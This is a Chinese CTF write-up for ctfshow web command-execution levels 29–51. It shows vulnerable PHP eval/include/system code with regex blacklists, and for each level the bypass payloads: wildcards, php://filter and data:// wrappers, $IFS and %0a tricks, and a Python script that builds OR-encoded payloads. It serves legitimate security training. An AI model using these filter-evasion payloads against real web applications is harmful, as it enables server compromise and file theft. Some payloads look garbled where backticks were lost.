ctfshow web入门命令执行29~51
web入门29
过滤了字符串flag
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
法一:字符串拼接
url/?c=system("echo nl fl''ag.php ");查看源码,注意markdown反引号隐蔽
法二:
url/?c=system(“ls”); 发现有flag.php,因为flag被过滤无法直接读取,可用
url/?c=system(“cat f*”);
法三:
利用反引号``执行命令,表示先执行命令ls,再执行命令cat
url/?c=system("cat ls ");
web入门30
过滤了system flag和php 对c GET传参
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
法一:字符串拼接
url/?c=echo nl fl''ag.p''hp ;
法二:url/?c=echocat f* ;
web入门31
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
几乎全给过滤了
法一:hint
url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
array用于创建数组
array_reverse将数组倒序输出
pos函数返回数组中当前元素(指针指向)的值
scandir函数返回指定目录中的文件和数组
next将指针指向数组的下一个元素并输出
show_source对文件进行语法高亮显示,是highlight_file()别名
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
法二:构造新的执行点
给c传eval($_GET[a])进去,再给a输入代码执行,这样就不会被过滤了
url/?c=eval($_GET[a]);&a=system(“ls”) 有flag.php
url/?c=eval($_GET[a]);&a=system(“cat flag.php”)
web入门32
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
几乎全过滤了
hint 文件包含+php伪协议
c=$ nice=include$ _GET[“url”]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
再对base64解码即可
php://属于php伪协议的一种,在CTF中常用php://filter,作用:一种元封装器,设计用于数据流打开时的筛选过滤应用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
resource=<要过滤的数据流>
read=<读链的过滤器>可以设定一个或多个过滤器的名称,以管道符分隔
convert.base64-encode属于转换过滤器,base64编码
/resource=文件名 读取文件源码
PHP伪协议总结 - SegmentFault 思否
include属于文件包含函数
include$_GET[“url”] 等同于
? $ file=$ _GET[“url”];
? include $file;
web入门33
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又多了一个过滤引号,方法同上,去掉引号即可
c=$ nice=include$ _GET[url]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
web入门34
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了: (
方法同上,也可用不需要使用括号的函数
web入门35
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了< =
方法同上
web入门36
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又过滤了/ 数字 方法同上
web入门37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
用data伪协议,主要用于数据流的读取,传入的数据是php代码就会执行
嵌入文本data://text/plain
data://类似php://input,可用来控制输入流,与包含函数结合时,输入的data://流会被当成php文件执行。此题就与include()函数相结合,直接输命令。过滤了字符串flag,看源代码。
?c=data://text/plain, system("cat fl*");?>
一般使用方法:
data://text/plain;base64; base64编码后的数据
不用之前php伪协议的方法,因为本身含include包含函数
web入门38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag php file
还是用data伪协议,php改为=
终于知道hint里那一串base64编码哪来的了
?c=data://text/plain, system("cat fl*");?>
base64编码就是
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA=
可骗过过滤
所以也可以用一般的data伪协议 url/?c=
data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/PiA= 看源码即可
web入门39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
因为.php前面的php语句已经闭合(语句可完整正确地执行)了,所以.php会被当成html页面直接显示在页面上
所以?c=data://text/plain, system("cat fl*");?> 仍然适用 ?
web入门40
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
hint
法一:没有过滤英文括号,过滤了中文括号(看不出来)用31的hint就能做
show_source(next(array_reverse(scandir(pos(localeconv())))));
法二:GXYCTF的禁止套娃 通过cookie获得参数进行命令执行
c=session_start();system(session_id());
cookie里让 passid=ls
因为过滤了 . 所以cookieb无法 继续执行命令cat/tac flag.php 此法作罢
法三:
输入c=print_r(get_defined_vars());
post传参1=system(“cat flag.php”)
? ? ? 发现post传入也在数组末尾
输入?c=eval(array_pop(next(get_defined_vars())));
post传参1=system(“tac flag.php”);
? 结果 array_pop() 删除并返回数组最后一个元素(取出最后一个元素)
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
用get_defined_vars()来获取所有已定义的变量,发现post数组为空,且get传入的内容在数组末尾,可以post传入想要执行的命令。
web入门41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
全过滤了,但留了个 位运算符与 |
嫖了个脚本直接跑(目前不懂)
import re
import requests
url="http://d06156b2-98c2-4b81-ad6e-a06d1550561f.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
else:
a.append(i)
mya="system"
myb="cat flag.php"
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)
php位运算符:对二进制位从低位到高位进行运算
?
web入门42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
shell脚本——>/dev/null 2>&1 详解
含义:>代表重定向到哪
/dev/null空设备文件,所有写入的内容都会丢失,俗称黑洞
1表示stdout标准输出,系统默认值为1,>/dev/null等同于1>/dev/null
2表示stderr标准错误
&表示等同于,2>&1表示2的输出定向等同于1
解释:命令1>/dev/null 首先表示标准输出重定向到空设备文件也就是丢弃标准输出。 2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也被丢弃。
所以该shell命令不会输出任何信息,不回显。https://www.cnblogs.com/ultranms/p/9353157.html
法一:用 ; 截断
url/?c=ls;
url/?c=cat flag.php;
法二:hint用%0a截断
url/?c=cat flag.php%0a 看源码
法三:用命令分隔符**||**截断 cmd1 | cmd2 只显示cmd2结果 cmd1 ; cmd2 无论cmd1是否成功执行,都执行cmd2 cmd1 || cmd2 cmd1执行失败时才执行cmd2 cmd1 && cmd2 cmd1执行成功时才执行cmd2
若用| 则显示第二个命令,即不回显,c输入的是第一个命令
web入门43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
比上一题多了cat ; 过滤
执行命令url/?c=tac flag.php%0a
或者执行url/?c=nl flag.php%0a 看源码
nl命令:输出文件内容并自动加上行号
web入门44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; cat flag 用通配符*
执行命令url/?c=nl f*.php%0a
或url/?c=tac f*.php%0a
web入门45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了*; cat flag 空格
hint
echo$ IFStac$IFS* %0A注意反引号
``执行系统命令
或tac${IFS}f*.php%0a
或echo$ {IFS}tac${IFS}f* %0a
shell脚本——变量IFS,分隔符
作用:shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
查看IFS值echo"$IFS"
$IFS*返回所有参数
或tac%09f*.php%0a
%09是tab的url编码
web入门46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; cat flag * $ [0-9] 空格
nl<fla’'g.php|| <可理解为空格,重定向到后面的文件
<是输入重定向https://www.runoob.com/linux/linux-shell-io-redirections.html
重定向就是通过各种方法将各种网络请求重新定个方向转到其它位置
%09与%0a是url编码,不会当成数字被过滤
也可用/?c=tac%09????????%0a
?与*都是通配符,?占一个位置,星号占无数个位置
web入门47
`if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}`
/?c=tac%09???%0a即可
web入门48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
/?c=tac%09???%0a或/?c=nl<fla''g.php|| 即可
web入门49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09是url编码,不算入过滤的%中,%26是&的url编码
web入门50、51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了x09 x26
/?c=nl<fla’'g.php|| 即可
|